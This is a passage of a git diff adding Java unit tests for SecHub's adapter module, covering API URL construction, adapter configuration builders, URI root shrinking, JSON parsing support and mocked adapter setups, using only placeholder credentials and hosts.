for:"+uri, e); + } + } +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/APIURLSupportTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/APIURLSupportTest.java new file mode 100644 index 0000000000..4b75dee459 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/APIURLSupportTest.java @@ -0,0 +1,82 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.util.LinkedHashMap; +import java.util.Map; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.support.APIURLSupport; + +public class APIURLSupportTest { + private APIURLSupport supportToTest; + + @Before + public void before() { + supportToTest = new APIURLSupport(); + } + + @Test + public void noOtherBaseUrl_nomap() { + /* prepare */ + AdapterConfig config = mock(AdapterConfig.class); + when(config.getProductBaseURL()).thenReturn("baseUrl"); + + /* execute */ + String result = supportToTest.createAPIURL("apiPath", config, "apiPrefix", null, null); + + /* test */ + assertEquals("baseUrl/apiPrefix/apiPath",result); + } + + @Test + public void noOtherBaseUrl_butmapset() { + /* prepare */ + Map map = new LinkedHashMap<>(); + map.put("key1", "value1"); + map.put("key2", "value2"); + AdapterConfig config = mock(AdapterConfig.class); + when(config.getProductBaseURL()).thenReturn("baseUrl"); + + /* execute */ + String result = supportToTest.createAPIURL("apiPath", config, "apiPrefix", null, map); + + /* test */ + assertEquals("baseUrl/apiPrefix/apiPath?key1=value1&key2=value2",result); + } + + @Test + public void otherBaseUrl_mapset() { + /* prepare */ + Map map = new LinkedHashMap<>(); + map.put("key1", "value1"); + map.put("key2", "value2"); + AdapterConfig config = mock(AdapterConfig.class); + when(config.getProductBaseURL()).thenReturn("baseUrl"); + + /* execute */ + String result = supportToTest.createAPIURL("apiPath", config, "apiPrefix", "otherBaseUrl", map); + + /* test */ + assertEquals("otherBaseUrl/apiPrefix/apiPath?key1=value1&key2=value2",result); + } + + @Test + public void otherBaseUrl_empty_mapset() { + /* prepare */ + Map map = new LinkedHashMap<>(); + AdapterConfig config = mock(AdapterConfig.class); + when(config.getProductBaseURL()).thenReturn("baseUrl"); + + /* execute */ + String result = supportToTest.createAPIURL("apiPath", config, "apiPrefix", "otherBaseUrl", map); + + /* test */ + assertEquals("otherBaseUrl/apiPrefix/apiPath",result); + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilderTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilderTest.java new file mode 100644 index 0000000000..30d1da6b2b --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterConfigBuilderTest.java @@ -0,0 +1,294 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.net.InetAddress; +import java.net.URI; +import java.util.ArrayList; +import java.util.Collections; +import java.util.LinkedHashSet; +import java.util.List; +import java.util.Set; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.adapter.support.URIShrinkSupport; +import com.daimler.sechub.adapter.testclasses.TestAdapterConfigBuilder; +import com.daimler.sechub.adapter.testclasses.TestAdapterConfigInterface; + +public class AbstractAdapterConfigBuilderTest { + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Test + public void getter_for_set_password_results_in_same_string_even_when_sealed() { + /* we use now a sealed object to contain password in config builder and config it self */ + TestAdapterConfigBuilder builderToTest = new TestAdapterConfigBuilder(); + + /* execute */ + TestAdapterConfigInterface config = builderToTest.setPassword("my-password").build(); + + /* test */ + assertEquals("my-password",config.getPassword()); + + } + + @Test + public void rootURIShrinker_is_used_when_building() throws Exception { + + /* prepare */ + URIShrinkSupport shrinker = mock(URIShrinkSupport.class); + TestAdapterConfigBuilder builderToTest = new TestAdapterConfigBuilder() { + protected URIShrinkSupport createURIShrinker() { + return shrinker; + } + }; + + builderToTest.setProductBaseUrl("baseUrl"); + Set targetURIs = new LinkedHashSet<>(); + targetURIs.add(new URI("http://www.mycoolstuff.com/app1")); + targetURIs.add(new URI("http://www.mycoolstuff.com/app2")); + + Set mockedShrink = new LinkedHashSet<>(); + mockedShrink.add(new URI("http://www.shrinked.com")); + + when(shrinker.shrinkToRootURIs(eq(targetURIs))).thenReturn(mockedShrink); + + /* execute */ + TestAdapterConfigInterface config = builderToTest.setTargetURIs(targetURIs).build(); + + /* test */ + verify(shrinker).shrinkToRootURIs(eq(targetURIs)); + assertEquals(mockedShrink, config.getRootTargetURIs()); + + } + + @Test + public void when_projectId_is_set_its_also_in_configuration() { + /* execute */ + TestAdapterConfigInterface configToTest = validConfigAnd().setProjectId("myproject").build(); + + /* test */ + assertEquals("myproject",configToTest.getProjectId()); + + } + + @Test + public void when_no_target_url_set_the_config_has_null_as_target_uri_and_string_and_an_empty_list_of_uris() + throws Exception { + + /* execute */ + TestAdapterConfigInterface configToTest = validConfigAnd().build(); + + /* test */ + assertNull(configToTest.getTargetURI()); + assertNull(configToTest.getTargetAsString()); + + assertNotNull(configToTest.getTargetURIs()); + assertTrue(configToTest.getTargetURIs().isEmpty()); + + } + + @Test + public void when_no_target_ips_set_the_config_has_an_empty_list_of_ips() + throws Exception { + + /* execute */ + TestAdapterConfigInterface configToTest = validConfigAnd().build(); + + /* test */ + assertNotNull(configToTest.getTargetIPs()); + assertTrue(configToTest.getTargetIPs().isEmpty()); + + } + + @Test + public void when_one_target_ips_set_the_config_has_one_inet_adress_entry() + throws Exception { + + /* execute */ + TestAdapterConfigInterface configToTest = validConfigAnd().setTargetIP(InetAddress.getByName("192.168.1.1")).build(); + + /* test */ + assertNotNull(configToTest.getTargetIPs()); + assertFalse(configToTest.getTargetIPs().isEmpty()); + assertTrue(configToTest.getTargetIPs().contains(InetAddress.getByName("192.168.1.1"))); + + } + + @Test + public void when_one_target_uri_is_set__target_uri_is_as_expected_and_list_is_1() throws Exception { + + /* prepare */ + String uriString = "http://www.my.cool.stuff.com"; + URI uri = new URI(uriString); + /* execute */ + + TestAdapterConfigInterface configToTest = validConfigAnd().setTargetURIs(Collections.singleton(uri)).build(); + + /* test */ + assertEquals(uri, configToTest.getTargetURI()); + assertEquals(uriString, configToTest.getTargetAsString()); + + assertNotNull(configToTest.getTargetURIs()); + assertEquals(1, configToTest.getTargetURIs().size()); + + } + + @Test + public void when_target_uri_is_set_by_string__target_uri_is_as_expected_and_list_is_1() throws Exception { + /* prepare */ + String uriString = "http://www.my.cool.stuff.com"; + URI uri = new URI(uriString); + /* execute */ + + TestAdapterConfigInterface configToTest = validConfigAnd().setTargetURI(uri).build(); + + /* test */ + assertEquals(uri, configToTest.getTargetURI()); + assertEquals(uriString, configToTest.getTargetAsString()); + + assertNotNull(configToTest.getTargetURIs()); + assertEquals(1, configToTest.getTargetURIs().size()); + } + + @Test + public void when_doublicated_target_uri_is_set__target_uri_is_as_expected_and_list_is_1() throws Exception { + + /* prepare */ + String uriString = "http://www.my.cool.stuff.com"; + URI uri = new URI(uriString); + + List uris = new ArrayList<>(); + uris.add(uri); + uris.add(new URI(uriString)); // doublicated entry + + /* execute */ + + TestAdapterConfigInterface configToTest = validConfigAnd().setTargetURIs(Collections.singleton(uri)).build(); + + /* test */ + assertEquals(uri, configToTest.getTargetURI()); + assertEquals(uriString, configToTest.getTargetAsString()); + + assertNotNull(configToTest.getTargetURIs()); + assertEquals(1, configToTest.getTargetURIs().size()); + + } + + @Test + public void isProxyDefined_false_no_proxy_set_getProxyHostname_returns_null() { + /* prepare */ + TestAdapterConfigInterface config = validConfigAnd().setProxyPort(888).build(); + + /* execute + test */ + assertNull(config.getProxyHostname()); + assertFalse(config.isProxyDefined()); + + } + + @Test + public void defining_a_proxy_hostname_but_no_port_throws_illegal_state() { + /* prepare */ + expected.expect(IllegalStateException.class); + + /* execute */ + validConfigAnd().setProxyHostname("proxyname").build(); + + } + + @Test + public void isProxyDefined_true_when_proxy_set_getProxyHostname_and_port_config_returns_both_values() { + /* prepare */ + TestAdapterConfigInterface config = validConfigAnd().setProxyHostname("proxyname").setProxyPort(9858).build(); + + /* execute + test */ + assertEquals("proxyname", config.getProxyHostname()); + assertEquals(9858, config.getProxyPort()); + assertTrue(config.isProxyDefined()); + } + + @Test + public void get_trace_id_returned_as_defined() throws Exception { + /* prepare */ + /* execute */ + TestAdapterConfigInterface cfg = validConfigAnd().setTraceID("myTraceID").build(); + + /* test */ + assertEquals("myTraceID", cfg.getTraceID()); + } + + @Test + public void get_trace_id_returned_not_null_even_when_defined_null_as_defined() throws Exception { + + /* prepare */ + /* execute */ + TestAdapterConfigInterface cfg = validConfigAnd().setTraceID(null).build(); + + /* test */ + assertNotNull(cfg.getTraceID()); + } + + @Test + public void config_without_timetowait_set_has_one_minute() { + TestAdapterConfigInterface cf1 = validConfigAnd().build(); + + assertEquals(1 * 60 * 1000, cf1.getTimeToWaitForNextCheckOperationInMilliseconds()); + } + + @Test + public void config_with_timetowait_n1_has_one_minute() { + TestAdapterConfigInterface cf1 = validConfigAnd().setTimeToWaitForNextCheckOperationInMinutes(-1).build(); + + assertEquals(1 * 60 * 1000, cf1.getTimeToWaitForNextCheckOperationInMilliseconds()); + } + + @Test + public void config_without_timeout_set_has_5_days_per_default() { + TestAdapterConfigInterface cf1 = validConfigAnd().build(); + + /* 5 days a 24 hours a 60 minutes a 60 seconds a 1000 milliseconds */ + assertEquals(5 * 24 * 60 * 60 * 1000, cf1.getTimeOutInMilliseconds()); + } + + @Test + public void config_with_timeout_n1_set_has_5_days_per_default() { + TestAdapterConfigInterface cf1 = validConfigAnd().setScanResultTimeOutInMinutes(-1).build(); + + /* 5 days a 24 hours a 60 minutes a 60 seconds a 1000 milliseconds */ + assertEquals(5 * 24 * 60 * 60 * 1000, cf1.getTimeOutInMilliseconds()); + } + + @Test + public void config_with_timeout_set_with_3_minutes_has_3_minutes() { + TestAdapterConfigInterface cf1 = validConfigAnd().setScanResultTimeOutInMinutes(3).build(); + + /* 3 hours a 60 minutes a 60 seconds a 1000 milliseconds */ + assertEquals(3 * 60 * 1000, cf1.getTimeOutInMilliseconds()); + } + + @Test + public void config_with_time_to_check_set_with_3_minutes_has_3_minutes() { + TestAdapterConfigInterface cf1 = validConfigAnd().setTimeToWaitForNextCheckOperationInMinutes(3).build(); + + /* 3 hours a 60 minutes a 60 seconds a 1000 milliseconds */ + assertEquals(3 * 60 * 1000, cf1.getTimeToWaitForNextCheckOperationInMilliseconds()); + } + + @Test + public void config_userid_password_set_has_correct_Base64_token() { + TestAdapterConfigInterface cf1 = validConfigAnd().setUser("developer").setPassword("pwd-developer").build(); + assertEquals("ZGV2ZWxvcGVyOm51bGw=",cf1.getBase64Token()); + } + + private TestAdapterConfigBuilder validConfigAnd() { + return new TestAdapterConfigBuilder().setProductBaseUrl("baseUrl"); + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterTest.java new file mode 100644 index 0000000000..6b24962001 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractAdapterTest.java @@ -0,0 +1,95 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.testclasses.TestAdapter; +import com.daimler.sechub.adapter.testclasses.TestAdapterConfigInterface; + +public class AbstractAdapterTest { + + private TestAdapter adapterToTest; + + @Before + public void before() throws Exception { + adapterToTest = new TestAdapter(); + } + + + @Test + public void get_api_for_website_slash_create_returns_full_url1() { + /* prepare */ + TestAdapterConfigInterface config = mock(TestAdapterConfigInterface.class); + when(config.getProductBaseURL()).thenReturn("https://mynetsparker.intranet.com:8080"); + + /* execute */ + String url = adapterToTest.createAPIURL("website/create", config); + + /* test */ + assertEquals("https://mynetsparker.intranet.com:8080/website/create", url); + + } + + @Test + public void get_api_for_slash_website_slash_create_returns_full_url_without_double_slashes1() { + /* prepare */ + TestAdapterConfigInterface config = mock(TestAdapterConfigInterface.class); + when(config.getProductBaseURL()).thenReturn("https://mynessus.intranet.com:8080"); + + /* execute */ + String url = adapterToTest.createAPIURL("/website/create", config); + + /* test */ + assertEquals("https://mynessus.intranet.com:8080/website/create", url); + + } + @Test + public void get_api_for_website_slash_create_returns_full_url() { + /* prepare */ + adapterToTest.setApiPrefix("api/1.0"); + TestAdapterConfigInterface config = mock(TestAdapterConfigInterface.class); + when(config.getProductBaseURL()).thenReturn("https://mynetsparker.intranet.com:8080"); + + /* execute */ + String url = adapterToTest.createAPIURL("website/create", config); + + /* test */ + assertEquals("https://mynetsparker.intranet.com:8080/api/1.0/website/create", url); + + } + + @Test + public void get_api_for_slash_website_slash_create_returns_full_url_without_double_slashes() { + /* prepare */ + adapterToTest.setApiPrefix("api/1.0"); + TestAdapterConfigInterface config = mock(TestAdapterConfigInterface.class); + when(config.getProductBaseURL()).thenReturn("https://mynetsparker.intranet.com:8080"); + + /* execute */ + String url = adapterToTest.createAPIURL("/website/create", config); + + /* test */ + assertEquals("https://mynetsparker.intranet.com:8080/api/1.0/website/create", url); + + } + + @Test + public void api_prefix_with_start_and_end_base_has_also_end_api_has_start_and_end() { + /* prepare */ + adapterToTest.setApiPrefix("/api/1.0/"); + TestAdapterConfigInterface config = mock(TestAdapterConfigInterface.class); + when(config.getProductBaseURL()).thenReturn("https://mynetsparker.intranet.com:8080/"); + + /* execute */ + String url = adapterToTest.createAPIURL("/website/create/", config); + + /* test */ + assertEquals("https://mynetsparker.intranet.com:8080/api/1.0/website/create", url); + + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfigBuilderTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfigBuilderTest.java new file mode 100644 index 0000000000..f87d421339 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractCodeScanAdapterConfigBuilderTest.java @@ -0,0 +1,53 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static org.junit.Assert.*; + +import java.util.Arrays; +import java.util.LinkedHashSet; + +import org.junit.Test; + +public class AbstractCodeScanAdapterConfigBuilderTest { + + @Test + public void settingSourceFoldersNullResultsInNullTargetString() { + TestCodeScanAdapterConfig x = new TestAbstractCodeScanAdapterConfigBuilder() + .build(); + /* test */ + assertEquals(null, x.getTargetAsString()); + } + + @Test + public void settingSourceFoldersResultsInTargetString() { + TestCodeScanAdapterConfig x = new TestAbstractCodeScanAdapterConfigBuilder() + .setFileSystemSourceFolders(new LinkedHashSet<>(Arrays.asList("src/java/", "src/groovy"))).build(); + /* test */ + assertEquals("src/java/;src/groovy", x.getTargetAsString()); + } + + + private class TestAbstractCodeScanAdapterConfigBuilder extends + AbstractCodeScanAdapterConfigBuilder { + + @Override + protected void customBuild(TestCodeScanAdapterConfig config) { + + } + + @Override + protected TestCodeScanAdapterConfig buildInitialConfig() { + return new TestCodeScanAdapterConfig(); + } + + @Override + protected void customValidate() { + + } + + } + + private class TestCodeScanAdapterConfig extends AbstractCodeScanAdapterConfig { + + } +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractSpringRestAdapterContextTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractSpringRestAdapterContextTest.java new file mode 100644 index 0000000000..ceb0a32d9e --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AbstractSpringRestAdapterContextTest.java @@ -0,0 +1,55 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static org.junit.Assert.*; +import static org.mockito.Mockito.*; + +import java.net.URI; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.testclasses.TestAbstractSpringRestAdapterContext; +import com.daimler.sechub.adapter.testclasses.TestAdapterConfigInterface; +import com.daimler.sechub.adapter.testclasses.TestAdapterInterface; + +public class AbstractSpringRestAdapterContextTest { + /* + * we use the TestAbstractSpringRestAdapterContext as an representant for + * AbstractSpringRestAdapterContext + */ + private TestAbstractSpringRestAdapterContext contextToTest; + private TestAdapterConfigInterface config; + private TestAdapterInterface adapter; + + @Before + public void before() throws Exception { + config = mock(TestAdapterConfigInterface.class); + adapter = mock(TestAdapterInterface.class); + + when(config.getProductBaseURL()).thenReturn("http://localhost"); + when(config.getTargetURI()).thenReturn(new URI("https://my.scan.target")); + + contextToTest = new TestAbstractSpringRestAdapterContext(config, adapter); + } + + @Test + public void isTimeout_returns_false_when_timeout_is_1000_slept_none() { + /* prepare */ + when(config.getTimeOutInMilliseconds()).thenReturn(1000); + + /* execute + test */ + assertFalse(contextToTest.isTimeOut()); + } + + @Test + public void isTimeout_returns_true_when_timeout_is_1_and_slept_2_millisecond() throws Exception { + /* prepare */ + when(config.getTimeOutInMilliseconds()).thenReturn(1); + + Thread.sleep(2); // NOSONAR + + /* execute + test */ + assertTrue(contextToTest.isTimeOut()); + } +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AdapterExceptionTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AdapterExceptionTest.java new file mode 100644 index 0000000000..b72f3ec117 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/AdapterExceptionTest.java @@ -0,0 +1,60 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static com.daimler.sechub.adapter.AdapterException.*; +import static org.hamcrest.Matchers.*; + +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +public class AdapterExceptionTest { + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Test + public void throwAsAdapterException_throws_adapter_exception_when_exception_is_runtime_exception() + throws Exception { + /* prepare */ + RuntimeException cause = new RuntimeException(); + + /* test */ + expected.expect(AdapterException.class); + expected.expectMessage("x:message1"); + expected.expectCause(equalTo(cause)); + + /* execute */ + throwAsAdapterException(new AdapterLogId("x",null),"message1", cause); + } + + @Test + public void throwAsAdapterException_throws_adapter_exception_with_traceid_when_exception_is_runtime_exception() + throws Exception { + /* prepare */ + RuntimeException cause = new RuntimeException(); + + /* test */ + expected.expect(AdapterException.class); + expected.expectMessage("traceId x:message1"); + expected.expectCause(equalTo(cause)); + + /* execute */ + throwAsAdapterException(new AdapterLogId("x","traceId"),"message1", cause); + } + + @Test + public void throwAsAdapterException_rethrows_adapter_exception_when_exception_is_adapter_exception() + throws Exception { + /* prepare */ + AdapterException cause = new AdapterException(new AdapterLogId("y",null),"originMessage"); + + /* test */ + expected.expect(AdapterException.class); + expected.expectMessage("y:originMessage"); + + /* execute */ + throwAsAdapterException(new AdapterLogId("z",null),"otherMessage", cause); + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/JSONAdapterSupportTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/JSONAdapterSupportTest.java new file mode 100644 index 0000000000..00ebc13541 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/JSONAdapterSupportTest.java @@ -0,0 +1,148 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static org.junit.Assert.*; +import static org.mockito.ArgumentMatchers.*; +import static org.mockito.Mockito.*; + +import java.util.Collections; +import java.util.Map; +import java.util.TreeMap; + +import org.junit.Before; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.daimler.sechub.adapter.support.JSONAdapterSupport; +import com.fasterxml.jackson.databind.node.ArrayNode; +import com.github.tomakehurst.wiremock.client.WireMock; +import com.github.tomakehurst.wiremock.matching.StringValuePattern; + +public class JSONAdapterSupportTest { + + private JSONAdapterSupport supportToTest; + private TraceIdProvider provider; + private Adapter adapter; + + @Rule + public ExpectedException expected = ExpectedException.none(); + + @Before + public void before() throws Exception { + provider = mock(TraceIdProvider.class); + adapter = mock(Adapter.class); + + AdapterLogId logId = new AdapterLogId("id", "traceid"); + supportToTest = new JSONAdapterSupport(adapter, provider); + when(adapter.asAdapterException(any(String.class), eq(provider))).thenReturn(new AdapterException(logId, "message")); + when(adapter.asAdapterException(any(String.class), any(Throwable.class), eq(provider))).thenReturn(new AdapterException(logId, "message-with-throwable")); + when(adapter.getAdapterLogId(eq(provider))).thenReturn(logId); + } + + + + @Test + public void buildFromMap_json_with_one_entry_returns_not_null() throws Exception { + + /* prepare */ + Map json = new TreeMap<>(); + json.put("key1", "value1"); + + /* execute */ + String jsonAsString = supportToTest.toJSON(json); + + /* test */ + assertNotNull(jsonAsString); + } + + @Test + public void buildFromMap_json_with_empty_map_returns_not_null_but_curly_braces_with_empty_content() throws Exception { + + /* prepare */ + Map json = new TreeMap<>(); + + /* execute */ + String jsonAsString = supportToTest.toJSON(json); + + /* test */ + assertNotNull(jsonAsString); + assertEquals("{}", jsonAsString); + } + + @Test + public void buildFromMap_json_with_one_entry_returns_map_with_this_entry() throws Exception { + + /* prepare */ + Map json = new TreeMap<>(); + json.put("key1", "value1"); + + /* execute */ + String jsonAsString = supportToTest.toJSON(json); + + /* test */ + assertNotNull(jsonAsString); + StringValuePattern p = WireMock.equalToJson("{\"key1\":\"value1\"}"); + assertTrue(p.match(jsonAsString).isExactMatch()); + } + + + @Test + public void fetching_not_existing_element_throws_adapter_exception() throws Exception { + /* prepare, test */ + expected.expect(AdapterException.class); + + /* execute */ + supportToTest.fetch("test", "{}"); + } + + + @Test + public void fetching_existing_element_throws_no_adapter_exception_and_returns_value() throws Exception { + /* prepare, test */ + expected.expect(AdapterException.class); + + /* execute */ + assertEquals("1234", supportToTest.fetch("test", "{'test' = '1234'}").asText()); + } + + @Test + public void fetching_existing_array_throws_no_adapter_exception_and_returns_array() throws Exception { + /* prepare, test */ + expected.expect(AdapterException.class); + + String arrayText = "{'test' = [{'val' = 'value1'},{'val' = 'value2'}]}"; + + /* execute */ + ArrayNode array = supportToTest.fetch("test",arrayText).asArray(); + assertNotNull(array); + + } + + @Test + public void fetch_element_by_map_scan_for_element_with_key_alpha_returns_val_of_this_element() throws Exception { + /* prepare, test */ + expected.expect(AdapterException.class); + + String arrayText = "{'test' = [{'key'='alpha', 'val' = 'value1'},{'key'='beta', 'val' = 'value2'}]}"; + + /* execute */ + String textFound = supportToTest.fetch("test",arrayText).fetchArrayElementHaving("val", Collections.singletonMap("key","alpha")).asText(); + assertEquals("value1",textFound); + + } + + @Test + public void fetch_element_by_map_scan_for_element_with_key_beta_returns_val_of_this_element() throws Exception { + /* prepare, test */ + expected.expect(AdapterException.class); + + String arrayText = "{'test' = [{'key'='alpha', 'val' = 'value1'},{'key'='beta', 'val' = 'value2'}]}"; + + /* execute */ + String textFound = supportToTest.fetch("test",arrayText).fetchArrayElementHaving("val", Collections.singletonMap("key","beta")).asText(); + assertEquals("value2",textFound); + + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/SecHubAdapterTestFileSupport.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/SecHubAdapterTestFileSupport.java new file mode 100644 index 0000000000..df2df4d505 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/SecHubAdapterTestFileSupport.java @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import com.daimler.sechub.test.TestFileSupport; + +public class SecHubAdapterTestFileSupport extends TestFileSupport{ + + public static final SecHubAdapterTestFileSupport INSTANCE = new SecHubAdapterTestFileSupport(); + + protected SecHubAdapterTestFileSupport() { + super("sechub-adapter"); + } +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/URIsToRootURIsShrinkerTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/URIsToRootURIsShrinkerTest.java new file mode 100644 index 0000000000..b94874f185 --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/URIsToRootURIsShrinkerTest.java @@ -0,0 +1,134 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter; + +import static org.junit.Assert.*; + +import java.net.URI; +import java.util.ArrayList; +import java.util.List; +import java.util.Set; + +import org.junit.Before; +import org.junit.Test; + +import com.daimler.sechub.adapter.support.URIShrinkSupport; + +public class URIsToRootURIsShrinkerTest { + + private URIShrinkSupport shrinkerToTest; + private URI target1_a; + private URI target1_b; + private URI target1_c; + private URI target2_a; + private URI target2_b; + private URI target1_expected_root; + private URI target2_expected_root; + + @Before + public void before() throws Exception { + shrinkerToTest = new URIShrinkSupport(); + + target1_a=new URI("https://www.mycoolstuff.com/app1"); + target1_b=new URI("https://www.mycoolstuff.com/app2"); + target1_c=new URI("https://www.mycoolstuff.com/app3"); + target1_expected_root=new URI("https://www.mycoolstuff.com"); + + target2_a=new URI("https://www.othercoolstuff.com/app1"); + target2_b=new URI("https://www.othercoolstuff.com/app2"); + target2_expected_root=new URI("https://www.othercoolstuff.com"); + + /* health check for test correct */ + assertEquals(target1_a.getHost(),target1_b.getHost()); + assertEquals(target1_b.getHost(),target1_c.getHost()); + + assertEquals(target2_a.getHost(),target2_b.getHost()); + + assertNotEquals(target1_a.getHost(),target2_a.getHost()); + + + } + + + @Test + public void called_with_null_returns_empty_list() throws Exception { + + /* execute */ + Set result = shrinkerToTest.shrinkToRootURIs(null); + + /* test */ + assertNotNull(result); + assertTrue(result.isEmpty()); + + } + + @Test + public void called_with_uri_containing_a_port_number_and_same_uri_with_no_portnumber_only_common_bas_uri_as_one_result() throws Exception { + + List list = new ArrayList<>(); + String commonBaseURI = "https://www.mycoolstuff.com"; + String commonURI = commonBaseURI +"/app1"; + list.add(new URI(commonURI+":8080")); + list.add(new URI(commonURI)); + + /* execute */ + Set result = shrinkerToTest.shrinkToRootURIs(list); + + /* test */ + assertNotNull(result); + assertEquals(1, result.size()); + assertEquals(URI.create(commonBaseURI),result.iterator().next()); + + } + + @Test + public void called_with_empty_list_returns_empty_list() throws Exception { + + /* execute */ + Set result = shrinkerToTest.shrinkToRootURIs(new ArrayList<>()); + + /* test */ + assertNotNull(result); + assertTrue(result.isEmpty()); + + } + + @Test + public void when_target_urls_are_3_where_3_have_same_hostnames_are_shrinked_to_1() throws Exception { + + /* prepare */ + List list = new ArrayList<>(); + list.add(target1_a); + list.add(target1_b); + list.add(target1_c); + + /* execute */ + Set result = shrinkerToTest.shrinkToRootURIs(list); + + /* test */ + assertNotNull(result); + assertEquals(1,result.size()); + assertTrue(result.contains(target1_expected_root)); + + } + + @Test + public void when_target_urls_are_3_where_2_have_same_hostname_are_shrinked_to_2() throws Exception { + + /* prepare */ + List list = new ArrayList<>(); + list.add(target1_a); + list.add(target1_b); + list.add(target2_a); + + /* execute */ + Set result = shrinkerToTest.shrinkToRootURIs(list); + + /* test */ + assertNotNull(result); + assertEquals(2,result.size()); + assertTrue(result.contains(target1_expected_root)); + assertTrue(result.contains(target2_expected_root)); + + } + +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupEntryTest.java b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupEntryTest.java new file mode 100644 index 0000000000..0752d5f84c --- /dev/null +++ b/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupEntryTest.java @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: MIT +package com.daimler.sechub.adapter.mock; + +import static org.junit.Assert.*; + +import org.junit.Before; +import org.junit.Test; + +public class MockedAdapterSetupEntryTest { + + private MockedAdapterSetupEntry entryToTest; + + @Before + public void before() { + entryToTest = new MockedAdapterSetupEntry(); + } + + @Test + public void empty_but_combinations_not_null() { + assertNotNull(entryToTest.getCombinations()); + } + + @Test + public void any_other_not_defined_file_path_xyz_returns_null() { + assertEquals(null, entryToTest.getResultFilePathFor("xyz")); + } + + @Test + public void any_other_defined_file_path_xyz_returns_any_other() { + addAnyOtherCombination(); + + /* test */ + assertEquals("filepath-any", entryToTest.getResultFilePathFor("xyz")); + } + + @Test + public void not_defined_throws_adapter_exceptions_returns_flase() { + assertFalse(entryToTest.isThrowingAdapterExceptionFor("xyz")); + } + + @Test + public void any_other_not_defined_defined_filePpath_returns_path() { + /* prepare */ + MockedAdapterSetupCombination combination = new MockedAdapterSetupCombination(); + combination.setFilePath("bla"); + combination.setTarget("xyz"); + entryToTest.getCombinations().add(combination); + + /* test */ + assertEquals("bla", entryToTest.getResultFilePathFor("xyz")); + } + @Test + public void defined_throws_adapter_exceptions_returns_true() { + /* prepare */ + MockedAdapterSetupCombination combination = new MockedAdapterSetupCombination(); + combination.setTarget("xyz"); + combination.setThrowsAdapterException(true); + + entryToTest.getCombinations().add(combination); + + /* test */ + assertTrue(entryToTest.isThrowingAdapterExceptionFor("xyz")); + } + + @Test + public void any_other_defined_defined_filePpath_returns_path() { + /* prepare */ + MockedAdapterSetupCombination combination2 = new MockedAdapterSetupCombination(); + combination2.setFilePath("bla"); + combination2.setTarget("xyz"); + entryToTest.getCombinations().add(combination2); + addAnyOtherCombination(); + + /* test */ + assertEquals("bla", entryToTest.getResultFilePathFor("xyz")); + } + + private void addAnyOtherCombination() { + MockedAdapterSetupCombination combination = new MockedAdapterSetupCombination(); + combination.setTarget(MockedAdapterSetupCombination.ANY_OTHER_TARGET); + combination.setFilePath("filepath-any"); + + entryToTest.getCombinations().add(combination); + } +} diff --git a/sechub-adapter/src/test/java/com/daimler/sechub/adapter/mock/MockedAdapterSetupServiceTest.java 